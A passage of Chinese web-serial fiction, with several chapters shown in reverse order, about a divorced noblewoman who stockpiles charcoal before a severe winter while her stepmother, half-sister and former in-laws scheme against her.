但他们的愿望并没有实现,天气不仅没有半点回暖,反而越来越冷,冷到了骨头缝里,即便裹着厚厚的棉衣,依旧叫人牙关打颤。 而炭的价格更是一天一个样,木炭飚至五十文,足足翻了十倍。银丝炭更离谱,直接飙至二十两银子一两炭。 方氏听到这个价格,倒吸了一口凉气。 她强压心头翻涌的酸意,对心腹问,“她还没有出手吗?” 心腹回话,“大小姐很沉得住气,似乎并没有出手的打算。” 方氏眸色沉沉,“她莫不是还不满足于此,还在等更高价?她的野心可真不小!” 陆映溪心头颇不是滋味,“若老天爷开眼,就应当立马回暖天气,到时候炭价下跌,好叫她竹篮打水一场空。” 但老天爷岂会听她们的?天气依旧寒冷,甚至达到了滴水成冰的程度,炭的价格一直居高不下。 这一日,陆贯轩裹挟着满身寒气回府,径直往知春苑而来。 迈步而入,身上的寒气便被满屋暖气冲散,一日的疲惫也瞬间消了大半。 陆贯轩素来稳重,今日却是风风火火的,开口便催促,“有一件要紧事,你派人给邢家送几筐银丝炭。” 方氏一愣,“好端端的,送炭做什么?” 现在她最听不得炭这个字,一听见就心里不得劲。 陆贯轩耐心解释,“眼下天气冷,炭价飙升,寻常木炭倒还好,银丝炭已经是有钱都买不到的紧俏货。我听说,邢家今年没囤太多,眼下已是不够用了。” “邢老太爷刚刚病了一场,受不得寒,邢家正在到处找门路买银丝炭呢。咱们家这时若给邢家送去几筐银丝炭,不正是雪中送炭?” “有了上次举荐神医的恩情,再加上这次送炭之情,邢大人便是再铁石心肠,也定能被拉拢,届时我的升迁就有望了。” 方氏闻言也高兴起来。 自家男人升迁,她的面上也有光。 她立马命心腹前去安排。 陆映溪刚好入内,只听到了后半截,她笑着道,“爹爹,您要升迁了吗?太好了!” 陆贯轩俨然已对此事势在必得,但事情未定,他故作严肃地训诫。 “还没影的事,休要瞎说。” 方氏了解陆贯轩,张口就是他爱听的,“老爷太过谦虚了,这次咱们雪中送炭,此事定然十拿九稳。” 陆贯轩捋着胡须,嘴角笑意压都压不住。 陆映溪素来嘴甜,便也跟着吹捧,又围在陆贯轩身边嘘寒问暖,满眼都是孺慕之情,只叫陆贯轩心头熨帖不已。 不由得便想到陆知苒,心下便有了比较。 “苒姐儿近来可有到你跟前尽孝?” 方氏柔柔笑着,“苒姐儿和离归家,心情难免低落,老爷就不必这般苛责她了。” 这话听着像是在替陆知苒开脱,实际上却是不动声色地给她上眼药,陆贯轩的心头立马升起不喜。 陆映溪眼珠一转,笑着提议把陆知苒喊来一道用饭,方氏立马派人去请了。 她们母女最近心气不顺,正好借这次机会出一口恶气。 一家子正当和乐融融之时,前去取炭的心腹入内回禀。 “夫人,有一桩事……” 方氏不悦,“有事便直说,这般支支吾吾作甚?” 那心腹这才开口,“那管炭的张婆子说,府中库房的银丝炭只余两筐,若是送去邢家,咱们府里就没了。” 方氏呆住,陆贯轩更是满脸震惊。 陆映溪的脸色则是微妙地变了变。 陆贯轩责问,“你不是说早就采买备足了吗?怎的这就没了?” 方氏也不相信,“妾身的确是按照往年的惯例采买,往年是足够的,今年怎会用得这般快?那张婆子在何处?给我押上来!” 张婆子连滚带爬地入内,扑通跪地磕头。 方氏目光狠厉地扫向下首之人,“是不是你监守自盗,把府中银丝炭拿出去倒卖了?” 张婆子连声喊冤,“夫人明鉴,奴婢便是有十个胆子也不敢啊。” 方氏只觉在陆贯轩面前下了脸面,怒容更甚。 “那库房里的银丝炭都去了何处?总不可能平白无故就消失了!” 张婆子小心回话,“今年的天气较之往年更冷,府中各处用炭都比往年多,银丝炭的损耗也比以往快许多。” “那也不可能用得这么快!” 张婆子抬头,看了陆映溪一眼。 陆映溪一下从座位上站起来,眼神闪躲,语气磕绊。 “娘,昨日我几位闺中好友到家中做客,她们说自家银丝炭短缺,女儿便,便做主送了她们每人两筐……” 陆映溪在外的名声素来极好,待人和善,行事大方。 昨日,几位小姐登门,她本以为大家是冲着她来的,谁料竟是为了打探陆知苒,言语间对她奉旨和离一事甚是好奇。 陆映溪心中堵了很久。 后来有一位小姐感叹,“现如今银丝炭价格飞涨,我在府中的炭例都换成了寻常木炭,溪儿这用的还是银丝炭,而且还这般足,还是陆家底蕴深厚啊。” 大家纷纷附和,言语间都是欣羡之意。 陆映溪挣回了脸面,颇为得意。为了面子,她当场便豪气地给每家送了两筐银丝炭,这一下就许出去十几筐。 她没把这当回事,想着银丝炭不够,再买便是。 殊不知,昨日的壮举在今日被狠狠打了脸。 方才她听到爹娘说雪中送炭,只以为此炭非彼炭,谁曾想,他们说的炭竟真的是炭。 她更没想到,现在外头银丝炭已是有价无市,花钱也买不着了。 陆贯轩的脸色瞬间黑如锅底。 方氏不曾想,此事竟还有自己女儿的“功劳”,但自己女儿自己还得护着,只能把火气都撒在张婆子头上。 “二小姐不懂事,你也不懂事吗?那么大的数量出入,你竟不知来向我回禀一声?” 张婆子立马“砰砰”磕头。 “夫人明鉴,昨日二小姐身边的大丫鬟派人来取炭之时,奴婢便多问了两句,但对方说此事二小姐自会向夫人回禀,奴婢再要多问,那丫鬟便指着奴婢的鼻子骂奴婢不知尊卑,连二小姐的命也敢违逆……” 第58章 炭价飙升 陆映溪还未想好如何回击,陆知苒已经转身离开了。 她脸色一阵晦暗不明,第一时间去了知春苑,向方氏告状。 “母亲,姐姐真的变了,浑身都似长满了刺,我在她手下都连连吃瘪。” 她将如意阁发生之事尽数道来,方氏听罢,眼睛微眯。 “连侯府都对她如此忌惮,她倒是比以前更有手段了。” 魏嬷嬷立马激动附和,“奴婢先前就跟夫人说了,大小姐像是完全变了人,简直半点都没把老爷夫人放在眼里!” 魏嬷嬷两次去侯府传话,第一回陆知苒态度不冷不热,第二回,甚至连人的面都没见着就被金嬷嬷打发走了,她肚子里早就憋着火了。 眼下总算找到了告状的机会! 方氏语气幽幽,“如今看来,她一开始就打着和离的盘算。而今,她有皇上的圣旨做靠山,又攀上了邢家,我一时倒不好动她。” “母亲不好亲自动手,就让旁人动手便是,多的是人想叫她死。宣平侯府不就是现成的帮手?” 因为陆知苒,宣平侯府里子面子都丢光了,岂能不恨? 只要有仇恨,就有动机,稍加引导,他们自然会动手。 陆映溪的声音娇柔,面容甜美,但说出口的却是如蛇蝎般恶毒的话。 方氏一脸赞许地看着她。 “溪儿越发聪慧了。不过此事先别急,先把你的亲事定下来再料理她。不然,她闹出什么丑事来,又要带累你。” 陆映溪脸上闪过一抹羞涩。 “一切都听娘亲的。” 翌日,陆知苒收到了宣平侯府送来的银子。 清点好数额之后,她十分满意。 笑着对管事道:“虽说我与侯府已然和离,但到底也是一场情分,先前的龃龉便一笔勾销,就此不提。官府那边,我亦会派人让傅大人把案子撤了。” 得了准话,管事这才放心离开。 手里的银子还没捂热乎,陆知苒便做了安排。 “拿去给谭叔,让他再采买最后一批炭和棉花。让他暗中采买,再找机会把此事无意间透露给宣平侯府。” 很快京城就会进入真正的寒冬时刻,她也要开始自己的下一步计划。 陆知苒的一举一动全在方氏的掌控之中,她们母女关起门来笑不可抑。 “原本我还以为她变聪明了,却原来是我高看了她,她还是一如既往地蠢笨,有那么多银子做什么不好?非得买一堆不值钱的炭。” 想到那么一大笔银子,陆映溪就觉得心口发疼。 那银子给她多好!总好过被这般平白糟蹋了去。 方氏也打着同样的主意,“且让她折腾,这次她定会狠狠栽一个大跟头,届时我便有了名正言顺的理由把她的产业拿过来打理。她的银子,迟早都是我们的。” 她这话说得十分自然,因为这事她已然做熟。 现在陆府名下十几处最赚钱的产业,便全都是洛氏留下的,这些本是陆知苒的嫁妆。 方氏入门后,十分顺理成章地接手过来帮忙打理,但帮着帮着,铺子的主人就悄无声息地易主了。 后来,苏州洛家来人,为陆知苒清点嫁妆,方氏这才收手,不然陆知苒的嫁妆定会被她霸占十之八九。 宣平侯府也知道了陆知苒买木炭之事,又掀起了一阵风波。 姜氏气得心口疼,“我们千辛万苦凑齐的银子,她竟然全都用来买炭?她莫不是银子多得没处花了?” 若当真如此,当初就不要让他们还啊! 楚云清依旧为自己失去的头面耿耿于怀,对陆知苒更是恨到了极致。 “她定是故意的,故意逼我们还银子,又故意把那笔银子肆意挥霍了,好借此羞辱我们!” 他们竭尽全力才能凑齐的银子,她却随随便便就挥霍完了,这不是羞辱是什么? 楚翊安和赵书宁亦是心头发堵,憋屈极了。 深吸了一口气,赵书宁开口,“今年上京天气和暖,木炭价低,便是银丝炭也卖不起价,她买了这般多,到时候也只会砸在自己手里。” 这话终于让众人心头舒坦几分。 两府之人都默契地等着看陆知苒的笑话,然而,他们等来的却是一个始料未及的变故。 原本温暖如春的气温急转直下,一夜之间,屋檐挂起白霜,凛冽的寒风席卷而来,人人都穿起了厚厚的棉袄。 天上飘起了雪花,又一夜过去,街道上,屋檐上都积满沉重的落雪。 翠芙和丹烟天天盼啊盼,总算盼来了大雪。 屋中的炭火烧得旺旺的,与外头的冰天雪地隔绝成了两个世界。 两个丫鬟的眼睛都一片亮晶晶的,“小姐,您果然料事如神,真的降温了,而且这温度,比往年冷多了。” “照此番架势,木炭和银丝炭定能涨价。” 陆知苒的神色却不似她们那般欣喜。 因为她知道,大齐朝即将面临的是怎样的一场考验。 前世,不知多少穷苦百姓被冻死,那番惨状,实非她想见。 这辈子,她让石齐舟在各个州县都囤了木炭和棉衣,赚钱其实并非首要目的,她真正想做的是尽己所能,减少这场灾难带来的伤亡。 接连几日,天气一日冷过一日,木炭的价格从五文一路攀升翻倍,短短几日飚至三十文。 而富贵人家所用的银丝炭本就价高,现在更是高达十两银子一两炭。 但凡有炭出售的铺子,都排起了长龙,其生意之火爆,简直令人眼红。 等着看陆知苒笑话的众人傻眼了,饶是素来稳得住的方氏,也绷不住露出失态之色。 “那小贱人怎的运气这般好?这都能让她蒙对!” 陆映溪心里头也酸得不行,“这回她可要赚翻了。” 此时再回想起先前陆知苒劝说的话,方氏只觉打脸。 若当初自己听从她的话,在价低之时多囤些炭,现在她也能大赚一笔了。 然而现在后悔已然来不及,现在再要买炭,也毫无利润可言,反而还要亏上一大笔。 宣平侯府那边亦是同样光景,所有人都嫉妒得红了眼,只盼着天气回暖,炭的价格赶紧下跌。 第57章 打赌 他们二人又是一番商议,终于还是咬牙决定把头面退了。 就算只能退尾款的八成,也好过砸在手里。 只是,想到这笔银子最后还要落在陆知苒的手里,赵书宁就觉无比心塞。 楚翊安握住她的手,再次出声宽慰。 “书宁,这一切都是暂时的,我定会让你过上荣华富贵的好日子。” 赵书宁心头升起一股迷茫。 曾经,她以为侯府的日子便是荣华富贵的好日子,可到头却发现,侯府反而让她变得一贫如洗。 他的话,自己还能信吗? 二人拿着退款离开,许久之后,三楼最里侧的一间包厢里这才传出说话声。 萧宝珠长舒了一口气,“可算是走了,差点把我憋死了。” 对面坐着两个男人。 一人身形高大,穿着一身黑衣,身上没有半件饰品,通身却带着股矜贵之气,只一双眸子幽沉如深潭,深不见底。 另一人身量稍矮,身形亦略显单薄,一身青衣,儒雅斯文。 正是萧晏辞和蒋南笙。 “你们不知道,上回我来这如意阁,也凑巧听了一场宣平侯府的戏。” 蒋南笙今日作的是男子装扮,她眉目间的那抹清秀被古铜的肤色很好地遮掩,开口时的嗓音清越温和,雌雄莫辨。 “哦?说来听听。” 萧宝珠滔滔不绝,“上回是陆大小姐和楚大小姐一块儿来,楚家那位把陆大小姐当冤大头,转头却在背后嚼舌根,说人商贾出身,低贱上不得台面呢。” “她以为没人听到,但不仅我听到了,陆大小姐也听到了。若是我,定然当场就发飙了,但陆大小姐只是沉着脸没发作。不过后来,楚家那位想要买那副金丝八宝攒珠头面,陆大小姐直接给拒了。后来你猜怎么着?” 蒋南笙没有犹豫,直接便给出了答案。 “楚大小姐背着陆大小姐,以对方的名义把头面定了下来。” 萧宝珠瞪大了眼,“你怎么猜到的?” 顿了顿,摆手,“你的脑子本就不同寻常,猜到也不足为奇。” 又看向萧晏辞,“七皇兄,你肯定没有猜到,对不对?” 萧晏辞嗤笑一声,“这还用猜?宣平侯府方才来退的不正是当初那副头面?” 以他们的穷酸程度,定然不会自己掏钱买头面,自然只能仰仗陆知苒这个有钱的嫂嫂。 不过最后看来,陆知苒并没有当这冤大头,反而是赵书宁掏了这笔银子。 萧宝珠一阵懊恼,“是哦,我都没反应过来。” 萧晏辞瞥她,“以你的脑子,没反应过来再正常不过。” 萧宝珠:…… “以前上学时,咱俩明明是半斤八两!” 萧晏辞懒懒地朝后倚靠,双腿交叠,“我只是不喜欢读书,不代表我没脑子,别把我跟你放在一起比。” 萧宝珠:…… 她恼怒地剜了萧晏辞一眼,又转而向蒋南笙求助。 “阿笙,你看他!又欺负我!” 蒋南笙一脸正色,“下次他生病时,我给他开苦药。” 萧晏辞最怕苦,这是他最大的软肋。 萧宝珠立马被哄好了。 萧晏辞一脸无语,当着他的面“密谋”,合适吗? 萧宝珠很快把话题拉回到自己感兴趣的事上。 “皇兄,你知道父皇为什么会给陆大小姐下和离圣旨吗?” 萧晏辞面不改色,“不知。” 萧宝珠一脸好奇,“那方才他们的话是什么意思?什么上不得台面的手段?他们都揣测了什么?” 萧晏辞的眸色深了几分,周身亦笼上一抹阴郁。 蒋南笙的神色亦多了几分晦暗不明,他们都是聪明人,心中都有了猜测。 只是,那样的猜测太过龌龊,怕污了她的耳。 萧晏辞声音冷淡,“一些无关之人毫无根据的揣测罢了,不值一提。” “可是我好奇嘛……” 蒋南笙岔开了话题。 “阿辞,我听说你最近在做生意?” 萧宝珠瞪大了眼睛,“你又糟蹋银子?” 萧晏辞语气冷幽幽,“哪个大漏勺漏给你的?” 蒋南笙立马解释,“你让人去钱庄支了银子,手下回到我这里,我这才有此猜测。” 萧晏辞命里破财,便是连钱庄里的银子也存不住,每每存了一笔,过不了多久就会被他以各种方式亏得一干二净。 所以他只能把银子存在旁人名下。 萧宝珠和蒋南笙的名下都有他的一笔家当。 以往那么多年,萧晏辞从未支取过那些银子,这回倒是破天荒地支了一笔,而且数额不小。 “如此看来,此事竟是真的。” 萧晏辞大方承认,“确有其事。” 萧宝珠痛心疾首,“皇兄,你又瞎折腾什么?你以前赔进去的银子还不够多吗?” 萧晏辞脸黑如墨,“这次不一样!我有预感,这笔生意定然能大赚一笔。” 萧宝珠压根不信。 蒋南笙询问他做的是何生意,萧晏辞隐去了陆知苒那一环,只道:“今年气候异常,大旱之后必是大寒,炭和棉花定有赚头。” 萧宝珠连连摇头,“这话换个人说我或许能信,但七皇兄你说,我是半个字都不信。就算当真有大寒,别人能赚钱,你定然赚不到。” 萧晏辞:“……闭上你的乌鸦嘴。” 两兄妹开始较真,互不相让,最后直接一拍桌,打起了赌。 萧晏辞:“我若赢了,你以后都不许吃肉!” 萧宝珠:“你若输了,你存在我那里的银子都归我了,以后父皇赏给你的那些宝贝也全都是我的!” 人越是缺什么,就越是渴望什么。 萧宝珠最是贪吃,无肉不欢。 而萧晏辞最爱什么?那一定是白花花的银子。 他俩这赌注都有点大,直接掐中了对方的命门。 “成交!” “阿笙做证!” 蒋南笙满脸无奈地看着两人,这么多年过去了,他俩还是如幼时那般幼稚。 陆知苒和陆映溪前后脚回了陆府。 陆映溪快步追上陆知苒,“姐姐,你怎么走这般快,等等我呀。” “你还有什么事吗?” 陆映溪上下看她,语气幽幽,“姐姐,你变了。” 陆知苒神色冷淡,“人遭逢巨变,性情自然都会大变,以后你经历了同样的事,自然就明白了。” 陆映溪:…… 谁要经历她这样的事啊!真是晦气! 第56章 被她骗得团团转 楚翊安压着声音,一字一顿地问,“你何德何能,能让皇上为你下和离圣旨?” 两世为人,陆知苒对楚翊安称得上了如指掌,此时他面容扭曲,眼神阴鸷,看着自己的眼神厌恶又愤恨,就好似,自己给他带来了莫大的屈辱。 再看赵书宁,她亦是一副鄙夷嫌恶的神色。 脑中灵光一闪,她忽而就明白了他们的未尽之意,瞬间一股恶寒袭上心头。 她眸色幽深,语气冷得似掺了冰渣。 “我清清白白,无愧于心,容不得你们肆意揣测!” “若当真如此无愧于心,又何必一直藏着掖着?” 陆映溪立在一旁,眸光在他们的身上来回转,脑中飞快闪过诸多思绪。 她也想不通,皇上为何会给陆知苒下和离圣旨? 若皇上的圣旨那么好求的话,岂不是人人都去求皇上下旨做主了? 她陆知苒到底有什么筹码? 眸子一转,陆映溪跟着开口,“姐姐,你不妨说出来,解了大家的误会,一切说开了自然就没事了。” 陆知苒淡淡扫向她,对上她那单纯无辜的脸。 “该说之时,我自然会说,不该你打探的,也别胡乱打探。” 碰了个软钉子,陆映溪面容微滞。 赵书宁:“你是不想说,还是不敢说?” 陆知苒眸光锐利,“我现在敢说,你们敢听吗?” 楚翊安和赵书宁的脸色微变,一时说不出话来。 她敢说,他们敢听吗? 不敢! 事关皇上的丑闻,若当真点破,他们也难以独善其身。 一再在陆知苒面前挑衅,不过是心中激愤,难出那口恶气罢了。 陆知苒见他们怂了,冷笑一声,“既然不敢,就不要再像跳梁小丑一样在我面前蹦跶。” 他们的心思如此龌龊,陆知苒恨不得直接将自己的底牌亮出来,狠狠打他们的脸。 但话到了嘴边,又被她硬生生憋了回去。 空口白话,他们未必肯信。 既如此,那就好好筹谋布局,让他们亲眼瞧瞧自己的筹码究竟是什么。 届时,只看他们是怎样的反应。 实在厌烦极了眼前之人,陆知苒半句话都不欲多说,直接转身离开,对身旁的陆映溪亦不加理会。 陆映溪脸色几经变化。 她竟敢如此无视自己!母亲说得没错,她的确变了,变得翅膀硬了! 她没有追上去,而是对楚翊安和赵书宁露出一抹惨淡的笑。 “我姐姐她……我也不知道她怎么突然变得如此蛮横无理,以前她明明不是这样的……” 对面两人都没说话。 眼下,他们实在没法对陆家人摆出什么好脸色来。 陆映溪幽幽叹息,“想是因为她给邢家牵线,介绍了一位名医,治好了邢老太爷的病,她自觉攀上了邢家,这才生出狂妄来。” 这话似一道惊雷,狠狠劈在赵书宁和楚翊安的心头上。 赵书宁拔高了声音,“你说什么?是她给邢家介绍了名医,治好了邢老太爷的病?” 陆映溪似被她的反应吓了一跳,有些木愣愣地点头。 “是,是啊。” 赵书宁不相信,“怎么可能?她明明说,自己不知道此事。” 当日她去找陆知苒对质之时,她还是一副茫然不知所以的反应。 所以,那全都是装出来的? 陆映溪有些无措地咬着唇,双眸盛满无辜,一副自己说错话的模样。 “那,那想来是,是我听错了……” 她越是如此,赵书宁越发不愿意相信,急声逼问。 “你都听说了什么?快说!” 楚翊安见陆映溪快吓哭了的样子,便和缓了语气,“陆二小姐,我们只是想知道此事,并无恶意,你若是知道些什么,还请如实告知。” 陆映溪这才弱弱开口,“我今日回家,听母亲说,姐姐低价给邢家卖了一株人参,让邢老太爷得以续命。而后又向邢家推荐了一名医术高明的大夫,治好了邢老太爷。姐姐刚回家之时,邢家就派了管事登门致谢,想来此事乃千真万确,做不得假。” 陆映溪的话落,赵书宁和楚翊安的脸色已经变得十分难看,周身更是笼着一股沉沉低压。 好,好个陆知苒! 从一开始,他们就被她骗得团团转! 这原本该是书宁的功劳,该是侯府的机缘,却全都被她截胡了,当真可恶! 陆映溪满脸无辜地把此事泄露出去,便趁势离开了。 陆知苒有本事攀上邢家,这对她,对陆家而言自是好事。 但陆映溪就是见不得她得意。 正所谓同行是冤家,那位赵医女是大夫,陆知苒却推举旁人为邢老太爷医治,赵医女心里能痛快? 果然,她把这事一提,二人当场就变了脸色。 从他们的反应来看,这件事远比自己所以为的还要招恨。 陆知苒又被他们记了一笔。 赵书宁气得面容扭曲,她当场就想冲出去,向陆知苒当场质问,却被楚翊安拦住了。 “此时不是追究这个的时候。” 赵书宁一把甩开他,“我实在咽不下心中这口恶气!” “你以为我能咽得下吗?但事已至此,我们便是与她争论又能如何?若传到邢家那里,我们也落不到好。” 毕竟,邢老太爷的的确确是被陆知苒推荐的那名大夫治好的。 对于邢家来说,谁治好的并不重要,只要把人治好了就行。 他们公然质问陆知苒,指责她不该给邢家推荐旁人,岂不是盼着邢老太爷去死? 他们与陆知苒就算要争功,也只能在私下争,不能在大庭广众之下。 赵书宁终于慢慢冷静下来,只是脸上依旧笼着一层薄怒,眼底的恨意不加掩饰。 “她分明就是故意的!故意帮着外人抢夺我的功劳!” 楚翊安沉着脸,“我亦没想到她的心机如此深沉。” “她恨我入骨,这才处处与我为难。此次我被皇上冷落,不知何时才能重新回到宫中当值。今后,她定还会继续针对我。翊安,我们难道就要一直这样等着挨打?” 楚翊安双拳握得咯咯作响,“自是不会,这一切都只是暂时的,我们只需暂时忍耐。” 赵书宁满脸烦躁,“要忍耐到何时?我一刻都不想等了!” 楚翊安轻轻揽住赵书宁的肩,缓声道:“书宁,让你受委屈了。我保证,定会为你出了这口恶气。” 赵书宁深吸一口气,心头那股强烈的烦躁终于慢慢被安抚下去。 她不过是个以色侍人的玩意儿罢了,能得意到几时? 自己身怀医术,才是真正有本事之人。 只要有一个好的时机,这一日,很快就会来的。 第55章 何必如此斤斤计较? 如意阁的掌柜退下,楚翊安和赵书宁立马从包间内走了出来。 看到陆知苒的瞬间,他们的脸色都十分精彩。 震惊,难堪,愤怒……各种情绪交织混杂。 楚翊安目光死死盯着她那平坦的小腹,几乎要盯出两个窟窿来。 到底没忍住开口,“你就这么迫不及待要来看我们笑话?” 短短几日,楚翊安眼窝深陷,面容憔悴,眼神阴郁,原本英俊的面容变得面目可憎,带着危险气息。 像一条疯狗。 陆知苒看向他,眼眸平静无波。 “我是来买首饰的,若知道你们在此,我断然不会进来。” “呵,怎会这么巧?敢做不敢认,你还是一如既往地虚伪。” 陆知苒都要气笑了,“我好容易能远离你们,怎会主动来给自己找晦气?你们未免太高看自己了。” 她转身,“今日出门没看黄历,算了,回去吧。” 楚翊安大步上前,一把拦住她的去路。 “站住!” 陆知苒后退,一脸戒备地看着对方,“楚大人有何贵干?” 一句“楚大人”,冷不防刺了他的心。 他也不知道自己将她拦下做什么,但就是不想看她这么走了。 眼前之人妆容精致,如明珠萤光,美玉生晕。 离开了自己,她丝毫未受影响,反而愈加美艳绝伦。 这令他心中沉懑,无处纾解。 “你潇洒和离,却把侯府搅得天翻地覆,这就是你想看到的吗?现在你满意了?” “侯府如何是你们自己的事,不要把自己的不如意全都扣在我的头上。” 她这副轻描淡写的态度叫楚翊安更加恼火。 赵书宁上前,冷冷看着陆知苒,“你难道觉得自己一点责任都没有?若非你执意追究,母亲怎会被牵扯进官司里?现在阖府上下都勒紧了裤腰带,就为了给你凑银子!” 这副头面明明是她出的银子,可这笔银子真拿到了手却不是她的,反而要落到陆知苒的手里。 凭什么? 陆知苒被他们这强盗逻辑气无语了。 “什么叫为了给我凑银子,说得好像是我强抢你们的银子似的。” “搞搞清楚,那笔银子本就是我的,是贵府夫人心生贪念,贪墨了去,现在我不过是把这笔银子讨回来罢了,这叫物归原主,合理合法,便是说破了天也是这个道理。” “你们若觉得冤枉,就去京兆府请傅大人重审此案,傅大人明察秋毫,定然不会冤枉任何一个人。” 一番话把他们堵了个正着。 姜氏若当真那般清白,也不会怂到乖乖凑银子了。 楚翊安满脸厌恶,“你这副小人得志的嘴脸,当真令我恶心!得饶人处且饶人吧,说不准什么时候,你也会从高处狠狠摔下来。” 靠着一点姿色攀上皇上,还尚未得到名正言顺的名分,就迫不及待地作威作福,她真以为自己能成功上位? 皇上怎会让自己背上这样的恶名? 只怕,到时候她只会沦为一个笑话。 陆知苒语气淡淡,“我的事就不劳楚大人操心了,你们还是先把银子准备好了再说吧,不然,到时候宣平侯府面上可要难看了。” 这时,一道声音自楼梯拐角处传来,“姐姐,你与侯府毕竟有过三年情分,又何必如此斤斤计较?” 随着话音落,一个身形窈窕的少女走了过来。 她生了一张鹅蛋脸,水杏眼,非常标准的美人儿。 她便是陆知苒同父异母的妹妹,陆映溪。 她款款上前,眸光盈盈地看着陆知苒,眼底藏满了心疼。 “姐姐,你的事我都听说了。我知道你心里不好过,但事情已成定局,你继续与侯府这般攀扯不清,反而叫人瞧了笑话。听妹妹一句劝,算了吧。” 她语气轻柔,一副真心规劝的模样。 她素来如此善良体贴,和软好说话,从不与人红脸,一心只为了身边人着想。 陆知苒微垂眼睑,掩去眸底的冷意。 “妹妹可知道我们在谈论何事?” 陆映溪柔声开口,“我方才略听了些,想来为的是银子之事。恕妹妹多嘴,姐姐与楚大人虽已和离,但一日夫妻百日恩,两家也有过往的情谊在,钱财再怎样都是身外之物,为了一点微不足道的小银子伤感情岂非得不偿失?” 楚翊安不禁想,同样是陆家的女儿,为何差别会如此大? 陆知苒若能有陆映溪一半明事理,他们也不会闹到和离的境地。 陆知苒一脸无辜,“妹妹说得的确在理,可是,我与侯府之间,已经没有所谓情谊了呀,自然无需担心伤感情。” 陆映溪:…… “更何况,侯府欠我的银子也并非小数目,足有万两之多。妹妹品性高洁,视金钱如粪土,或许觉得万两银子没什么,只是一点微不足道的小银子,但我品性庸俗,一心爱财,旁人欠了我万两银子不还,于我而言便宛若割肉般心疼,我实在做不到宽和大度,不予计较。” 陆映溪:!!! 一时之间,饶是陆映溪再八面玲珑,都有些不知该如何接话。 万两之多的话,她或许,也没有那么品性高洁。 半晌,她干巴巴挤出一句话,“这其中是不是有什么误会?” “此事乃京兆尹傅大人亲自审出的结果,侯府若觉得此事有异,自可到京兆府当堂对质。而今看来,侯府并无对质之意,反而开始筹措银子,这便说明他们对此结果并无异议。” 说完,她看向对面二人,“我说的可对?” 赵书宁和楚翊安都满脸难堪,这分明不是他们做的事,却要在这里接受侮辱,简直憋屈。 楚翊安双拳紧握,咬牙切齿,“若非受你威胁,我们何至于此?” “我一弱女子,有什么能力威胁偌大的侯府?” 楚翊安质问,“书宁突然受了皇上冷落,难道不是你的功劳?我们若不从你,谁知道你之后会做出什么举动来?” 听到这样的罪名,陆知苒满头问号。 “你们可真有意思,难不成你们侯府所有人遇到点问题,就都得算在我的头上?真是不可理喻。” 赵书宁目光晦暗,“你使了什么上不得台面的手段,自己心里清楚。” 陆知苒莫名觉得她这话带着股深深的恶意,眉头不禁蹙起。 “你这话是什么意思?” 楚翊安满脸鄙夷和嫌恶,“陆知苒,别把所有人当傻子,若要人不知,除非己莫为。” 这话越发让陆知苒云里雾里,但有一点可以确定,他们定然没憋什么好屁。 “你们有什么话就直说,没必要这么拐弯抹角地说些莫名其妙的话。” 第54章 好言难劝该死的鬼 楚翊安也对母亲的行径感到不可思议。 清儿的东西不能碰,侯府的家底就能随随便便动用? 他深吸了一口气,耐着性子跟母亲讲道理。 “若是侯府的根基毁了,清儿便是有再多的头面也保不住,眼下不是计较这些得失的时候。” 姜氏心疼得滴血,“清儿定是不愿意的。” 楚定峰冷声,“在侯府的大事面前,容不得她不愿意。” 姜氏狠狠咬牙,“都怪陆知苒那贱人,非要把事情做得这般绝!” 楚家父子心中亦是如此作想,但现在,再多的怨恨又有什么用?他们已经见识到了那女人的绝情,也没有胆量再去冒险与她硬碰硬。 翌日,原本阴沉的天突然放晴,急转直下的气温也骤然回升,大家身上的夹袄都穿不住了,纷纷换成了单衣。 这番变化无常的气候让众人纷纷稀奇纳闷,原本已经上涨到十五文一斤的木炭价格也再次跌回五文,甚至更低。 丹烟有些着急,“这天儿怎么又热起来了?今年该不会一直这样吧,那小姐买的那些木炭和棉花岂不是……” 翠芙连忙“呸呸呸”,“你别乌鸦嘴,小姐的判断肯定没有错,咱们信小姐便是了!” 陆知苒并不担忧,今生虽然很多事情发生了变化,但天象不会因人为因素改变。 心思一转,陆知苒起身,“趁着今日天气好,咱们一起出门逛逛。” 她也想出去看看木炭的行市如何。 陆知苒去向方氏请示了一番,方氏并无反对之意,“你这段时间的确该好好出去走走,免得一直关在家中,胡思乱想。只可惜,你妹妹还没回来,不然就可以陪你一起出去散散心了。” “我这次出门是打算安排管事采买些炭,妹妹怕是对此也不感兴趣。” 方氏神色微妙了一瞬,“你要买炭?” 陆知苒认真点头,“女儿觉得这桩生意大有商机。母亲,我上回说的话,您还是得好好考虑一番,趁着现在炭价低,咱们府里当多囤些。” 方氏一副好笑的神色,那木炭本就不是什么稀罕东西,何至于如此兴师动众?就算到时候当真涨价,难道陆家还会买不起? 真是好言难劝该死的鬼,她既然如此执着要往里投钱,自己又何必做这恶人?到时候把嫁妆都亏了,可没地儿哭去。 心中嘲讽,面上顺势应承,“好,母亲会安排管事加紧采买。” 陆知苒假装没看出方氏的假意应承,又与她虚伪客套几句便离开了。 坐上了马车,两个丫鬟颇为高兴,她们已经许久没有出门逛逛了。 “小姐,咱们要去哪里?真的去买炭吗?” 陆知苒摇头,“此事我已交代给了谭叔,咱们三个弱女子,总不能真的去搬那些黑乎乎的炭。今日我们便随便逛逛,你们想买什么都行,记本小姐账上。” 二人立马开心起来。 小姐大方,她们也无需跟她客气。 路过如意阁,主仆三人便进去逛了起来。 如意阁分三层,一楼供普通客人选购,价格较为实惠。二楼三楼的首饰价格高昂,没些家底买不起,一般平民不敢轻易踏足。相较之下,三楼又比二楼更为高档。 翠芙和丹烟在一楼挑了几件首饰,主仆三人这才往上面去。 以往,陆知苒每次与楚云清来如意阁,都是带她到三楼选购,楚云清也从不客气。 这一回,陆知苒也不想委屈了自己,径直往三楼而去。 主仆三人刚踏上三楼,就听到熟悉的声音从一间包间内传出。 “这是在你们这里定制的头面,时间也不过十余天,整副头面都是完好的,票据也都在,如何不能原价退还?” 陆知苒的脚步顿住,眼底闪过一抹微妙之色。 宣平侯府已经沦落到如此地步? 掌柜赔笑的声音传来,“客官,实在对不住,本店有规定,商品一旦售出便不能原价退还,除非是商品工艺问题。若客人实在要退,也只能折价九成退款。” 赵书宁质问的声音再次传来,“那为何你方才说只能退八成?” “客官的这副头面有摔过的痕迹,整副头面已是变形,上面的好几处工艺也难以恢复,八成已是极限了。” 楚云清不愿意交出头面,楚翊安与她发生了争执拉扯,最后头面被狠狠摔在了地上,这才变了形。 楚翊安的声音传来,“书宁,算了吧,八成就八成。” 八成已是不少,而且,他也实在不愿在此拉扯,若是被旁的客人瞧见了,又是一场笑话。 